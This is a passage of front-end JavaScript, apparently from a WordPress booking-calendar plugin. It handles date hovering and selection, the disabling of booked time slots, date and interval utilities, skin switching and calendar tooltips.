---------------------------------------------------------------------- case 'pending_pending': css_classes__for_date.push('check_out_time_date2approve', 'check_in_time_date2approve'); is_day_selectable = is_day_selectable ? true : is_set_pending_days_selectable; break; case 'pending_approved': css_classes__for_date.push('check_out_time_date2approve', 'check_in_time_date_approved'); is_day_selectable = is_day_selectable ? true : is_set_pending_days_selectable; break; case 'approved_pending': css_classes__for_date.push('check_out_time_date_approved', 'check_in_time_date2approve'); is_day_selectable = is_day_selectable ? true : is_set_pending_days_selectable; break; case 'approved_approved': css_classes__for_date.push('check_out_time_date_approved', 'check_in_time_date_approved'); break; default: } } return [is_day_selectable, css_classes__for_date.join(' ')]; } /** * Mouseover calendar date cells * * @param string_date * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * @returns {boolean} */ function wpbc__calendar__on_hover_days(string_date, date, calendar_params_arr, datepick_this) { if (null === date) { return false; } var class_day = wpbc__get__td_class_date(date); // '1-9-2023' var sql_class_day = wpbc__get__sql_class_date(date); // '2023-01-09' var resource_id = 'undefined' !== typeof calendar_params_arr['resource_id'] ? calendar_params_arr['resource_id'] : '1'; // '1' // Get Data -------------------------------------------------------------------------------------------------------- var date_booking_obj = _wpbc.bookings_in_calendar__get_for_date(resource_id, sql_class_day); // {...} if (!date_booking_obj) { return false; } // T o o l t i p s ------------------------------------------------------------------------------------------------- var tooltip_text = ''; if (date_booking_obj['summary']['tooltip_availability'].length > 0) { tooltip_text += date_booking_obj['summary']['tooltip_availability']; } if (date_booking_obj['summary']['tooltip_day_cost'].length > 0) { tooltip_text += date_booking_obj['summary']['tooltip_day_cost']; } if (date_booking_obj['summary']['tooltip_times'].length > 0) { tooltip_text += date_booking_obj['summary']['tooltip_times']; } if (date_booking_obj['summary']['tooltip_booking_details'].length > 0) { tooltip_text += date_booking_obj['summary']['tooltip_booking_details']; } wpbc_set_tooltip___for__calendar_date(tooltip_text, resource_id, class_day); // U n h o v e r i n g in UNSELECTABLE_CALENDAR ------------------------------------------------------------ var is_unselectable_calendar = jQuery('#calendar_booking_unselectable' + resource_id).length > 0; //FixIn: 8.0.1.2 var is_booking_form_exist = jQuery('#booking_form_div' + resource_id).length > 0; if (is_unselectable_calendar && !is_booking_form_exist) { /** * Un Hover all dates in calendar (without the booking form), if only Availability Calendar here and we do not insert Booking form by mistake. */ wpbc_calendars__clear_days_highlighting(resource_id); // Clear days highlighting var css_of_calendar = '.wpbc_only_calendar #calendar_booking' + resource_id; jQuery(css_of_calendar + ' .datepick-days-cell, ' + css_of_calendar + ' .datepick-days-cell a').css('cursor', 'default'); // Set cursor to Default return false; } // D a y s H o v e r i n g ------------------------------------------------------------------------------------ if (location.href.indexOf('page=wpbc') == -1 || location.href.indexOf('page=wpbc-new') > 0 || location.href.indexOf('page=wpbc-availability') > 0 || location.href.indexOf('page=wpbc-settings') > 0 && location.href.indexOf('&tab=form') > 0) { // The same as dates selection, but for days hovering if ('function' == typeof wpbc__calendar__do_days_highlight__bs) { wpbc__calendar__do_days_highlight__bs(sql_class_day, date, resource_id); } } } /** * Select calendar date cells * * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * */ function wpbc__calendar__on_select_days(date, calendar_params_arr, datepick_this) { var resource_id = 'undefined' !== typeof calendar_params_arr['resource_id'] ? calendar_params_arr['resource_id'] : '1'; // '1' // Set unselectable, if only Availability Calendar here (and we do not insert Booking form by mistake). var is_unselectable_calendar = jQuery('#calendar_booking_unselectable' + resource_id).length > 0; //FixIn: 8.0.1.2 var is_booking_form_exist = jQuery('#booking_form_div' + resource_id).length > 0; if (is_unselectable_calendar && !is_booking_form_exist) { wpbc_calendar__unselect_all_dates(resource_id); // Unselect Dates jQuery('.wpbc_only_calendar .popover_calendar_hover').remove(); // Hide all opened popovers return false; } jQuery('#date_booking' + resource_id).val(date); // Add selected dates to hidden textarea if ('function' === typeof wpbc__calendar__do_days_select__bs) { wpbc__calendar__do_days_select__bs(date, resource_id); } wpbc_disable_time_fields_in_booking_form(resource_id); // Hook -- trigger day selection ----------------------------------------------------------------------------------- var mouse_clicked_dates = date; // Can be: "05.10.2023 - 07.10.2023" | "10.10.2023 - 10.10.2023" | var all_selected_dates_arr = wpbc_get__selected_dates_sql__as_arr(resource_id); // Can be: [ "2023-10-05", "2023-10-06", "2023-10-07", … ] jQuery(".booking_form_div").trigger("date_selected", [resource_id, mouse_clicked_dates, all_selected_dates_arr]); } /** * -- T i m e F i e l d s start -------------------------------------------------------------------------- */ /** * Disable time slots in booking form depend on selected dates and booked dates/times * * @param resource_id */ function wpbc_disable_time_fields_in_booking_form(resource_id) { /** * 1. Get all time fields in the booking form as array of objects * [ * { jquery_option: jQuery_Object {} * name: 'rangetime2[]' * times_as_seconds: [ 21600, 23400 ] * value_option_24h: '06:00 - 06:30' * } * ... * { jquery_option: jQuery_Object {} * name: 'starttime2[]' * times_as_seconds: [ 21600 ] * value_option_24h: '06:00' * } * ] */ var time_fields_obj_arr = wpbc_get__time_fields__in_booking_form__as_arr(resource_id); // 2. Get all selected dates in SQL format like this [ "2023-08-23", "2023-08-24", "2023-08-25", ... ] var selected_dates_arr = wpbc_get__selected_dates_sql__as_arr(resource_id); // 3. Get child booking resources or single booking resource that exist in dates var child_resources_arr = wpbc_clone_obj(_wpbc.booking__get_param_value(resource_id, 'resources_id_arr__in_dates')); var sql_date; var child_resource_id; var merged_seconds; var time_fields_obj; var is_intersect; var is_check_in; // 4. Loop all time Fields options //FixIn: 10.3.0.2 for (var field_key = 0; field_key < time_fields_obj_arr.length; field_key++) { time_fields_obj_arr[field_key].disabled = 0; // By default, this time field is not disabled time_fields_obj = time_fields_obj_arr[field_key]; // { times_as_seconds: [ 21600, 23400 ], value_option_24h: '06:00 - 06:30', name: 'rangetime2[]', jquery_option: jQuery_Object {}} // Loop all selected dates for (var i = 0; i < selected_dates_arr.length; i++) { //FixIn: 9.9.0.31 if ('Off' === _wpbc.calendar__get_param_value(resource_id, 'booking_recurrent_time') && selected_dates_arr.length > 1) { //TODO: skip some fields checking if it's start / end time for mulple dates selection mode. //TODO: we need to fix situation for entimes, when user select several dates, and in start time booked 00:00 - 15:00 , but systsme block untill 15:00 the end time as well, which is wrong, because it 2 or 3 dates selection and end date can be fullu available if (0 == i && time_fields_obj['name'].indexOf('endtime') >= 0) { break; } if (selected_dates_arr.length - 1 == i && time_fields_obj['name'].indexOf('starttime') >= 0) { break; } } // Get Date: '2023-08-18' sql_date = selected_dates_arr[i]; var how_many_resources_intersected = 0; // Loop all resources ID // for ( var res_key in child_resources_arr ){ //FixIn: 10.3.0.2 for (var res_key = 0; res_key < child_resources_arr.length; res_key++) { child_resource_id = child_resources_arr[res_key]; // _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_seconds = [ "07:00:11 - 07:30:02", "10:00:11 - 00:00:00" ] // _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_seconds = [ [ 25211, 27002 ], [ 36011, 86400 ] ] if (false !== _wpbc.bookings_in_calendar__get_for_date(resource_id, sql_date)) { merged_seconds = _wpbc.bookings_in_calendar__get_for_date(resource_id, sql_date)[child_resource_id].booked_time_slots.merged_seconds; // [ [ 25211, 27002 ], [ 36011, 86400 ] ] } else { merged_seconds = []; } if (time_fields_obj.times_as_seconds.length > 1) { is_intersect = wpbc_is_intersect__range_time_interval([[parseInt(time_fields_obj.times_as_seconds[0]) + 20, parseInt(time_fields_obj.times_as_seconds[1]) - 20]], merged_seconds); } else { is_check_in = -1 !== time_fields_obj.name.indexOf('start'); is_intersect = wpbc_is_intersect__one_time_interval(is_check_in ? parseInt(time_fields_obj.times_as_seconds) + 20 : parseInt(time_fields_obj.times_as_seconds) - 20, merged_seconds); } if (is_intersect) { how_many_resources_intersected++; // Increase } } if (child_resources_arr.length == how_many_resources_intersected) { // All resources intersected, then it's means that this time-slot or time must be Disabled, and we can exist from selected_dates_arr LOOP time_fields_obj_arr[field_key].disabled = 1; break; // exist from Dates LOOP } } } // 5. Now we can disable time slot in HTML by using ( field.disabled == 1 ) property wpbc__html__time_field_options__set_disabled(time_fields_obj_arr); jQuery(".booking_form_div").trigger('wpbc_hook_timeslots_disabled', [resource_id, selected_dates_arr]); // Trigger hook on disabling timeslots. Usage: jQuery( ".booking_form_div" ).on( 'wpbc_hook_timeslots_disabled', function ( event, bk_type, all_dates ){ ... } ); //FixIn: 8.7.11.9 } /** * Is number inside /intersect of array of intervals ? * * @param time_A - 25800 * @param time_interval_B - [ [ 25211, 27002 ], [ 36011, 86400 ] ] * @returns {boolean} */ function wpbc_is_intersect__one_time_interval(time_A, time_interval_B) { for (var j = 0; j < time_interval_B.length; j++) { if (parseInt(time_A) > parseInt(time_interval_B[j][0]) && parseInt(time_A) < parseInt(time_interval_B[j][1])) { return true; } // if ( ( parseInt( time_A ) == parseInt( time_interval_B[ j ][ 0 ] ) ) || ( parseInt( time_A ) == parseInt( time_interval_B[ j ][ 1 ] ) ) ) { // // Time A just at the border of interval // } } return false; } /** * Is these array of intervals intersected ? * * @param time_interval_A - [ [ 21600, 23400 ] ] * @param time_interval_B - [ [ 25211, 27002 ], [ 36011, 86400 ] ] * @returns {boolean} */ function wpbc_is_intersect__range_time_interval(time_interval_A, time_interval_B) { var is_intersect; for (var i = 0; i < time_interval_A.length; i++) { for (var j = 0; j < time_interval_B.length; j++) { is_intersect = wpbc_intervals__is_intersected(time_interval_A[i], time_interval_B[j]); if (is_intersect) { return true; } } } return false; } /** * Get all time fields in the booking form as array of objects * * @param resource_id * @returns [] * * Example: * [ * { * value_option_24h: '06:00 - 06:30' * times_as_seconds: [ 21600, 23400 ] * jquery_option: jQuery_Object {} * name: 'rangetime2[]' * } * ... * { * value_option_24h: '06:00' * times_as_seconds: [ 21600 ] * jquery_option: jQuery_Object {} * name: 'starttime2[]' * } * ] */ function wpbc_get__time_fields__in_booking_form__as_arr(resource_id) { /** * Fields with [] like this select[name="rangetime1[]"] * it's when we have 'multiple' in shortcode: [select* rangetime multiple "06:00 - 06:30" ... ] */ var time_fields_arr = ['select[name="rangetime' + resource_id + '"]', 'select[name="rangetime' + resource_id + '[]"]', 'select[name="starttime' + resource_id + '"]', 'select[name="starttime' + resource_id + '[]"]', 'select[name="endtime' + resource_id + '"]', 'select[name="endtime' + resource_id + '[]"]']; var time_fields_obj_arr = []; // Loop all Time Fields for (var ctf = 0; ctf < time_fields_arr.length; ctf++) { var time_field = time_fields_arr[ctf]; var time_option = jQuery(time_field + ' option'); // Loop all options in time field for (var j = 0; j < time_option.length; j++) { var jquery_option = jQuery(time_field + ' option:eq(' + j + ')'); var value_option_seconds_arr = jquery_option.val().split('-'); var times_as_seconds = []; // Get time as seconds if (value_option_seconds_arr.length) { //FixIn: 9.8.10.1 for (var i = 0; i < value_option_seconds_arr.length; i++) { //FixIn: 10.0.0.56 // value_option_seconds_arr[i] = '14:00 ' | ' 16:00' (if from 'rangetime') and '16:00' if (start/end time) var start_end_times_arr = value_option_seconds_arr[i].trim().split(':'); var time_in_seconds = parseInt(start_end_times_arr[0]) * 60 * 60 + parseInt(start_end_times_arr[1]) * 60; times_as_seconds.push(time_in_seconds); } } time_fields_obj_arr.push({ 'name': jQuery(time_field).attr('name'), 'value_option_24h': jquery_option.val(), 'jquery_option': jquery_option, 'times_as_seconds': times_as_seconds }); } } return time_fields_obj_arr; } /** * Disable HTML options and add booked CSS class * * @param time_fields_obj_arr - this value is from the func: wpbc_get__time_fields__in_booking_form__as_arr( resource_id ) * [ * { jquery_option: jQuery_Object {} * name: 'rangetime2[]' * times_as_seconds: [ 21600, 23400 ] * value_option_24h: '06:00 - 06:30' * disabled = 1 * } * ... * { jquery_option: jQuery_Object {} * name: 'starttime2[]' * times_as_seconds: [ 21600 ] * value_option_24h: '06:00' * disabled = 0 * } * ] * */ function wpbc__html__time_field_options__set_disabled(time_fields_obj_arr) { var jquery_option; for (var i = 0; i < time_fields_obj_arr.length; i++) { var jquery_option = time_fields_obj_arr[i].jquery_option; if (1 == time_fields_obj_arr[i].disabled) { jquery_option.prop('disabled', true); // Make disable some options jquery_option.addClass('booked'); // Add "booked" CSS class // if this booked element selected --> then deselect it if (jquery_option.prop('selected')) { jquery_option.prop('selected', false); jquery_option.parent().find('option:not([disabled]):first').prop('selected', true).trigger("change"); } } else { jquery_option.prop('disabled', false); // Make active all times jquery_option.removeClass('booked'); // Remove class "booked" } } } /** * Check if this time_range | Time_Slot is Full Day booked * * @param timeslot_arr_in_seconds - [ 36011, 86400 ] * @returns {boolean} */ function wpbc_is_this_timeslot__full_day_booked(timeslot_arr_in_seconds) { if (timeslot_arr_in_seconds.length > 1 && parseInt(timeslot_arr_in_seconds[0]) < 30 && parseInt(timeslot_arr_in_seconds[1]) > 24 * 60 * 60 - 30) { return true; } return false; } // ----------------------------------------------------------------------------------------------------------------- /* == S e l e c t e d D a t e s / T i m e - F i e l d s == // ----------------------------------------------------------------------------------------------------------------- */ /** * Get all selected dates in SQL format like this [ "2023-08-23", "2023-08-24" , ... ] * * @param resource_id * @returns {[]} [ "2023-08-23", "2023-08-24", "2023-08-25", "2023-08-26", "2023-08-27", "2023-08-28", "2023-08-29" ] */ function wpbc_get__selected_dates_sql__as_arr(resource_id) { var selected_dates_arr = []; selected_dates_arr = jQuery('#date_booking' + resource_id).val().split(','); if (selected_dates_arr.length) { //FixIn: 9.8.10.1 for (var i = 0; i < selected_dates_arr.length; i++) { //FixIn: 10.0.0.56 selected_dates_arr[i] = selected_dates_arr[i].trim(); selected_dates_arr[i] = selected_dates_arr[i].split('.'); if (selected_dates_arr[i].length > 1) { selected_dates_arr[i] = selected_dates_arr[i][2] + '-' + selected_dates_arr[i][1] + '-' + selected_dates_arr[i][0]; } } } // Remove empty elements from an array selected_dates_arr = selected_dates_arr.filter(function (n) { return parseInt(n); }); selected_dates_arr.sort(); return selected_dates_arr; } /** * Get all time fields in the booking form as array of objects * * @param resource_id * @param is_only_selected_time * @returns [] * * Example: * [ * { * value_option_24h: '06:00 - 06:30' * times_as_seconds: [ 21600, 23400 ] * jquery_option: jQuery_Object {} * name: 'rangetime2[]' * } * ... * { * value_option_24h: '06:00' * times_as_seconds: [ 21600 ] * jquery_option: jQuery_Object {} * name: 'starttime2[]' * } * ] */ function wpbc_get__selected_time_fields__in_booking_form__as_arr(resource_id) { var is_only_selected_time = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; /** * Fields with [] like this select[name="rangetime1[]"] * it's when we have 'multiple' in shortcode: [select* rangetime multiple "06:00 - 06:30" ... ] */ var time_fields_arr = ['select[name="rangetime' + resource_id + '"]', 'select[name="rangetime' + resource_id + '[]"]', 'select[name="starttime' + resource_id + '"]', 'select[name="starttime' + resource_id + '[]"]', 'select[name="endtime' + resource_id + '"]', 'select[name="endtime' + resource_id + '[]"]', 'select[name="durationtime' + resource_id + '"]', 'select[name="durationtime' + resource_id + '[]"]']; var time_fields_obj_arr = []; // Loop all Time Fields for (var ctf = 0; ctf < time_fields_arr.length; ctf++) { var time_field = time_fields_arr[ctf]; var time_option; if (is_only_selected_time) { time_option = jQuery('#booking_form' + resource_id + ' ' + time_field + ' option:selected'); // Exclude conditional fields, because of using '#booking_form3 ...' } else { time_option = jQuery('#booking_form' + resource_id + ' ' + time_field + ' option'); // All time fields } // Loop all options in time field for (var j = 0; j < time_option.length; j++) { var jquery_option = jQuery(time_option[j]); // Get only selected options //jQuery( time_field + ' option:eq(' + j + ')' ); var value_option_seconds_arr = jquery_option.val().split('-'); var times_as_seconds = []; // Get time as seconds if (value_option_seconds_arr.length) { //FixIn: 9.8.10.1 for (var i = 0; i < value_option_seconds_arr.length; i++) { //FixIn: 10.0.0.56 // value_option_seconds_arr[i] = '14:00 ' | ' 16:00' (if from 'rangetime') and '16:00' if (start/end time) var start_end_times_arr = value_option_seconds_arr[i].trim().split(':'); var time_in_seconds = parseInt(start_end_times_arr[0]) * 60 * 60 + parseInt(start_end_times_arr[1]) * 60; times_as_seconds.push(time_in_seconds); } } time_fields_obj_arr.push({ 'name': jQuery('#booking_form' + resource_id + ' ' + time_field).attr('name'), 'value_option_24h': jquery_option.val(), 'jquery_option': jquery_option, 'times_as_seconds': times_as_seconds }); } } // Text: [starttime] - [endtime] ----------------------------------------------------------------------------- var text_time_fields_arr = ['input[name="starttime' + resource_id + '"]', 'input[name="endtime' + resource_id + '"]']; for (var tf = 0; tf < text_time_fields_arr.length; tf++) { var text_jquery = jQuery('#booking_form' + resource_id + ' ' + text_time_fields_arr[tf]); // Exclude conditional fields, because of using '#booking_form3 ...' if (text_jquery.length > 0) { var time__h_m__arr = text_jquery.val().trim().split(':'); // '14:00' if (0 == time__h_m__arr.length) { continue; // Not entered time value in a field } if (1 == time__h_m__arr.length) { if ('' === time__h_m__arr[0]) { continue; // Not entered time value in a field } time__h_m__arr[1] = 0; } var text_time_in_seconds = parseInt(time__h_m__arr[0]) * 60 * 60 + parseInt(time__h_m__arr[1]) * 60; var text_times_as_seconds = []; text_times_as_seconds.push(text_time_in_seconds); time_fields_obj_arr.push({ 'name': text_jquery.attr('name'), 'value_option_24h': text_jquery.val(), 'jquery_option': text_jquery, 'times_as_seconds': text_times_as_seconds }); } } return time_fields_obj_arr; } // --------------------------------------------------------------------------------------------------------------------- /* == S U P P O R T for C A L E N D A R == // --------------------------------------------------------------------------------------------------------------------- */ /** * Get Calendar datepick Instance * @param resource_id of booking resource * @returns {*|null} */ function wpbc_calendar__get_inst(resource_id) { if ('undefined' === typeof resource_id) { resource_id = '1'; } if (jQuery('#calendar_booking' + resource_id).length > 0) { return jQuery.datepick._getInst(jQuery('#calendar_booking' + resource_id).get(0)); } return null; } /** * Unselect all dates in calendar and visually update this calendar * * @param resource_id ID of booking resource * @returns {boolean} true on success | false, if no such calendar */ function wpbc_calendar__unselect_all_dates(resource_id) { if ('undefined' === typeof resource_id) { resource_id = '1'; } var inst = wpbc_calendar__get_inst(resource_id); if (null !== inst) { // Unselect all dates and set properties of Datepick jQuery('#date_booking' + resource_id).val(''); //FixIn: 5.4.3 inst.stayOpen = false; inst.dates = []; jQuery.datepick._updateDatepick(inst); return true; } return false; } /** * Clear days highlighting in All or specific Calendars * * @param resource_id - can be skiped to clear highlighting in all calendars */ function wpbc_calendars__clear_days_highlighting(resource_id) { if ('undefined' !== typeof resource_id) { jQuery('#calendar_booking' + resource_id + ' .datepick-days-cell-over').removeClass('datepick-days-cell-over'); // Clear in specific calendar } else { jQuery('.datepick-days-cell-over').removeClass('datepick-days-cell-over'); // Clear in all calendars } } /** * Scroll to specific month in calendar * * @param resource_id ID of resource * @param year - real year - 2023 * @param month - real month - 12 * @returns {boolean} */ function wpbc_calendar__scroll_to(resource_id, year, month) { if ('undefined' === typeof resource_id) { resource_id = '1'; } var inst = wpbc_calendar__get_inst(resource_id); if (null !== inst) { year = parseInt(year); month = parseInt(month) - 1; // In JS date, month -1 inst.cursorDate = new Date(); // In some cases, the setFullYear can set only Year, and not the Month and day //FixIn:6.2.3.5 inst.cursorDate.setFullYear(year, month, 1); inst.cursorDate.setMonth(month); inst.cursorDate.setDate(1); inst.drawMonth = inst.cursorDate.getMonth(); inst.drawYear = inst.cursorDate.getFullYear(); jQuery.datepick._notifyChange(inst); jQuery.datepick._adjustInstDate(inst); jQuery.datepick._showDate(inst); jQuery.datepick._updateDatepick(inst); return true; } return false; } /** * Is this date selectable in calendar (mainly it's means AVAILABLE date) * * @param {int|string} resource_id 1 * @param {string} sql_class_day '2023-08-11' * @returns {boolean} true | false */ function wpbc_is_this_day_selectable(resource_id, sql_class_day) { // Get Data -------------------------------------------------------------------------------------------------------- var date_bookings_obj = _wpbc.bookings_in_calendar__get_for_date(resource_id, sql_class_day); var is_day_selectable = parseInt(date_bookings_obj['day_availability']) > 0; if (typeof date_bookings_obj['summary'] === 'undefined') { return is_day_selectable; } if ('available' != date_bookings_obj['summary']['status_for_day']) { var is_set_pending_days_selectable = _wpbc.calendar__get_param_value(resource_id, 'pending_days_selectable'); // set pending days selectable //FixIn: 8.6.1.18 switch (date_bookings_obj['summary']['status_for_bookings']) { case 'pending': // Situations for "change-over" days: case 'pending_pending': case 'pending_approved': case 'approved_pending': is_day_selectable = is_day_selectable ? true : is_set_pending_days_selectable; break; default: } } return is_day_selectable; } /** * Is date to check IN array of selected dates * * @param {date}js_date_to_check - JS Date - simple JavaScript Date object * @param {[]} js_dates_arr - [ JSDate, ... ] - array of JS dates * @returns {boolean} */ function wpbc_is_this_day_among_selected_days(js_date_to_check, js_dates_arr) { for (var date_index = 0; date_index < js_dates_arr.length; date_index++) { //FixIn: 8.4.5.16 if (js_dates_arr[date_index].getFullYear() === js_date_to_check.getFullYear() && js_dates_arr[date_index].getMonth() === js_date_to_check.getMonth() && js_dates_arr[date_index].getDate() === js_date_to_check.getDate()) { return true; } } return false; } /** * Get SQL Class Date '2023-08-01' from JS Date * * @param date JS Date * @returns {string} '2023-08-12' */ function wpbc__get__sql_class_date(date) { var sql_class_day = date.getFullYear() + '-'; sql_class_day += date.getMonth() + 1 < 10 ? '0' : ''; sql_class_day += date.getMonth() + 1 + '-'; sql_class_day += date.getDate() < 10 ? '0' : ''; sql_class_day += date.getDate(); return sql_class_day; } /** * Get JS Date from the SQL date format '2024-05-14' * @param sql_class_date * @returns {Date} */ function wpbc__get__js_date(sql_class_date) { var sql_class_date_arr = sql_class_date.split('-'); var date_js = new Date(); date_js.setFullYear(parseInt(sql_class_date_arr[0]), parseInt(sql_class_date_arr[1]) - 1, parseInt(sql_class_date_arr[2])); // year, month, date // Without this time adjust Dates selection in Datepicker can not work!!! date_js.setHours(0); date_js.setMinutes(0); date_js.setSeconds(0); date_js.setMilliseconds(0); return date_js; } /** * Get TD Class Date '1-31-2023' from JS Date * * @param date JS Date * @returns {string} '1-31-2023' */ function wpbc__get__td_class_date(date) { var td_class_day = date.getMonth() + 1 + '-' + date.getDate() + '-' + date.getFullYear(); // '1-9-2023' return td_class_day; } /** * Get date params from string date * * @param date string date like '31.5.2023' * @param separator default '.' can be skipped. * @returns { {date: number, month: number, year: number} } */ function wpbc__get__date_params__from_string_date(date, separator) { separator = 'undefined' !== typeof separator ? separator : '.'; var date_arr = date.split(separator); var date_obj = { 'year': parseInt(date_arr[2]), 'month': parseInt(date_arr[1]) - 1, 'date': parseInt(date_arr[0]) }; return date_obj; // for = new Date( date_obj.year , date_obj.month , date_obj.date ); } /** * Add Spin Loader to calendar * @param resource_id */ function wpbc_calendar__loading__start(resource_id) { if (!jQuery('#calendar_booking' + resource_id).next().hasClass('wpbc_spins_loader_wrapper')) { jQuery('#calendar_booking' + resource_id).after('<div class="wpbc_spins_loader_wrapper"><div class="wpbc_spins_loader"></div></div>'); } if (!jQuery('#calendar_booking' + resource_id).hasClass('wpbc_calendar_blur_small')) { jQuery('#calendar_booking' + resource_id).addClass('wpbc_calendar_blur_small'); } wpbc_calendar__blur__start(resource_id); } /** * Remove Spin Loader to calendar * @param resource_id */ function wpbc_calendar__loading__stop(resource_id) { jQuery('#calendar_booking' + resource_id + ' + .wpbc_spins_loader_wrapper').remove(); jQuery('#calendar_booking' + resource_id).removeClass('wpbc_calendar_blur_small'); wpbc_calendar__blur__stop(resource_id); } /** * Add Blur to calendar * @param resource_id */ function wpbc_calendar__blur__start(resource_id) { if (!jQuery('#calendar_booking' + resource_id).hasClass('wpbc_calendar_blur')) { jQuery('#calendar_booking' + resource_id).addClass('wpbc_calendar_blur'); } } /** * Remove Blur in calendar * @param resource_id */ function wpbc_calendar__blur__stop(resource_id) { jQuery('#calendar_booking' + resource_id).removeClass('wpbc_calendar_blur'); } // ................................................................................................................. /* == Calendar Update - View == // ................................................................................................................. */ /** * Update Look of calendar * * @param resource_id */ function wpbc_calendar__update_look(resource_id) { var inst = wpbc_calendar__get_inst(resource_id); jQuery.datepick._updateDatepick(inst); } /** * Update dynamically Number of Months in calendar * * @param resource_id int * @param months_number int */ function wpbc_calendar__update_months_number(resource_id, months_number) { var inst = wpbc_calendar__get_inst(resource_id); if (null !== inst) { inst.settings['numberOfMonths'] = months_number; //_wpbc.calendar__set_param_value( resource_id, 'calendar_number_of_months', months_number ); wpbc_calendar__update_look(resource_id); } } /** * Show calendar in different Skin * * @param selected_skin_url */ function wpbc__calendar__change_skin(selected_skin_url) { //console.log( 'SKIN SELECTION ::', selected_skin_url ); // Remove CSS skin var stylesheet = document.getElementById('wpbc-calendar-skin-css'); stylesheet.parentNode.removeChild(stylesheet); // Add new CSS skin var headID = document.getElementsByTagName("head")[0]; var cssNode = document.createElement('link'); cssNode.type = 'text/css'; cssNode.setAttribute("id", "wpbc-calendar-skin-css"); cssNode.rel = 'stylesheet'; cssNode.media = 'screen'; cssNode.href = selected_skin_url; //"http://beta/wp-content/plugins/booking/css/skins/green-01.css"; headID.appendChild(cssNode); } function wpbc__css__change_skin(selected_skin_url) { var stylesheet_id = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'wpbc-time_picker-skin-css'; // Remove CSS skin var stylesheet = document.getElementById(stylesheet_id); stylesheet.parentNode.removeChild(stylesheet); // Add new CSS skin var headID = document.getElementsByTagName("head")[0]; var cssNode = document.createElement('link'); cssNode.type = 'text/css'; cssNode.setAttribute("id", stylesheet_id); cssNode.rel = 'stylesheet'; cssNode.media = 'screen'; cssNode.href = selected_skin_url; //"http://beta/wp-content/plugins/booking/css/skins/green-01.css"; headID.appendChild(cssNode); } // --------------------------------------------------------------------------------------------------------------------- /* == S U P P O R T M A T H == // --------------------------------------------------------------------------------------------------------------------- */ /** * Merge several intersected intervals or return not intersected: [[1,3],[2,6],[8,10],[15,18]] -> [[1,6],[8,10],[15,18]] * * @param [] intervals [ [1,3],[2,4],[6,8],[9,10],[3,7] ] * @returns [] [ [1,8],[9,10] ] * * Exmample: wpbc_intervals__merge_inersected( [ [1,3],[2,4],[6,8],[9,10],[3,7] ] ); */ function wpbc_intervals__merge_inersected(intervals) { if (!intervals || intervals.length === 0) { return []; } var merged = []; intervals.sort(function (a, b) { return a[0] - b[0]; }); var mergedInterval = intervals[0]; for (var i = 1; i < intervals.length; i++) { var interval = intervals[i]; if (interval[0] <= mergedInterval[1]) { mergedInterval[1] = Math.max(mergedInterval[1], interval[1]); } else { merged.push(mergedInterval); mergedInterval = interval; } } merged.push(mergedInterval); return merged; } /** * Is 2 intervals intersected: [36011, 86392] <=> [1, 43192] => true ( intersected ) * * Good explanation here https://stackoverflow.com/questions/3269434/whats-the-most-efficient-way-to-test-if-two-ranges-overlap * * @param interval_A - [ 36011, 86392 ] * @param interval_B - [ 1, 43192 ] * * @return bool */ function wpbc_intervals__is_intersected(interval_A, interval_B) { if (0 == interval_A.length || 0 == interval_B.length) { return false; } interval_A[0] = parseInt(interval_A[0]); interval_A[1] = parseInt(interval_A[1]); interval_B[0] = parseInt(interval_B[0]); interval_B[1] = parseInt(interval_B[1]); var is_intersected = Math.max(interval_A[0], interval_B[0]) - Math.min(interval_A[1], interval_B[1]); // if ( 0 == is_intersected ) { // // Such ranges going one after other, e.g.: [ 12, 15 ] and [ 15, 21 ] // } if (is_intersected < 0) { return true; // INTERSECTED } return false; // Not intersected } /** * Get the closets ABS value of element in array to the current myValue * * @param myValue - int element to search closet 4 * @param myArray - array of elements where to search [5,8,1,7] * @returns int 5 */ function wpbc_get_abs_closest_value_in_arr(myValue, myArray) { if (myArray.length == 0) { // If the array is empty -> return the myValue return myValue; } var obj = myArray[0]; var diff = Math.abs(myValue - obj); // Get distance between 1st element var closetValue = myArray[0]; // Save 1st element for (var i = 1; i < myArray.length; i++) { obj = myArray[i]; if (Math.abs(myValue - obj) < diff) { // we found closer value -> save it diff = Math.abs(myValue - obj); closetValue = obj; } } return closetValue; } // --------------------------------------------------------------------------------------------------------------------- /* == T O O L T I P S == // --------------------------------------------------------------------------------------------------------------------- */ /** * Define tooltip to show, when mouse over Date in Calendar * * @param tooltip_text - Text to show 'Booked time: 12:00 - 13:00<br>Cost: $20.00' * @param resource_id - ID of booking resource '1' * @param td_class - SQL class '1-9-2023' * @returns {boolean} - defined to show or not */ function wpbc_set_tooltip___for__calendar_date(tooltip_text, resource_id, td_class) { //TODO: make escaping of text for quot symbols, and JS/HTML... jQuery('#calendar_booking' + resource_id + ' td.cal4date-' + td_class).attr('data-content', tooltip_text); var td_el = jQuery('#calendar_booking' + resource_id + ' td.cal4date-' + td_class).get(0); //FixIn: 9.0.1.1 if ('undefined' !== typeof td_el && undefined == td_el._tippy && '' !== tooltip_text) { wpbc_tippy(td_el, { content: function content(reference) { var popover_content = reference.getAttribute('data-content'); return '<div class="popover popover_tippy">' + '<div class="popover-content">' + popover_content + '</div>' + '</div>'; }, allowHTML: true, trigger: 'mouseenter focus', interactive: false, hideOnClick: true, interactiveBorder: 10, maxWidth: 550, theme: 'wpbc-tippy-times', placement: 'top', delay: [400, 0], //FixIn: 9.4.2.2 //delay : [0, 9999999999], // Debuge tooltip ignoreAttributes: true, touch: true, //['hold', 500], // 500ms delay //FixIn: 9.2.1.5 appendTo: function appendTo() { return document.body; } }); return true; } return false; } // --------------------------------------------------------------------------------------------------------------------- /* == Dates Functions == // --------------------------------------------------------------------------------------------------------------------- */ /** * Get number of dates between 2 JS Dates * * @param date1 JS Date * @param date2 JS Date * @returns {number} */ function wpbc_dates__days_between(date1, date2) { // The number of milliseconds in one day var ONE_DAY = 1000 * 60 * 60 * 24; // Convert both dates to milliseconds var date1_ms = 